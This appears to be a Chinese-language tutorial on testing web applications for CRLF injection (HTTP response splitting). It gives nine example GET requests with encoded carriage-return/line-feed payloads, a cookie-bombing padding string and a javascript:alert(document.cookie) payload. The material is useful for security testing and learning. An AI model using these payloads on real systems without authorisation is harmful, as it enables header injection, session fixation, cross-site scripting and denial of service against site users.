你所不知道的CRLF---header中潜藏的漏洞

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前言

本文主要讲的是如何测试CRLF以及相关tips,在具体讲解之前,先简单概述一下何为CRLF:

CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。

可以通过具体案例来理解: https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

预备知识

\r\n 所对应的 url Encode为: %0d%0a =============>ascii码为0x0D0x0A=============>utf-8为: %E5%98%8A = %0A = \u560a ,%E5%98%8D = %0D = \u560d

%20 对应空格，%3b 对应;, %3F对应？, %23对应#。

正文

1. 在header中尝试注入回车换行符，例如\r\n，例如Set-Cookies:%20Me

GET /Header?Parameter=\r\nKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

2. 在header中尝试注入回车换行符，例如%0D%0A，例如Set-Cookies:%20Me

GET /Header?Parameter=%0D%0AKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

3. 在header中尝试注入回车或者换行符，例如%0D 或者 %0A，例如Set-Cookies:%20Me

GET /Header?Parameter=%0DKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

4. 尝试注入回车换行符的ASCII符号，例如0x0D0x0A，例如Set-Cookies:%20Me

GET /Header? Parameter=0x0D0x0AKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

5. 尝试注入回车换行符的utf-8，例如 %E5%98%8A%E5%98%8D，例如Set-Cookies:%20Me

GET /Header? Parameter=%E5%98%8A%E5%98%8DKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

6. 尝试注入回车换行符的Unicode，例如 \u560d\u560a，例如Set-Cookies:%20Me

GET /Header? Parameter=\u560d\u560aKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

7. 尝试在Header中注入大量字符串，例如 +++++++ 7000 bytes +++++++，例如Set-Cookies:%20Me

GET /Header?
Parameter=+++++ 7000 bytes +++++Key:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

8. 尝试注入编过码的回车或者换行,例如: %3F%0D , %23%0D , %3F%0A 或者 %23%0A

GET /Path%3F%0DKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

9. 尝试注入/x:1/:///%01javascript:alert(document.cookie)/

GET //x:1/:///%01javascript:alert(document.cookie)/ HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

参考

https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

https://hackerone.com/reports/335599

https://hackerone.com/reports/446271

https://hackerone.com/reports/52042

https://hackerone.com/reports/53843

https://hackerone.com/reports/154400

https://ronak-9889.medium.com/denial-of-service-using-cookie-bombing-55c2d0ef808c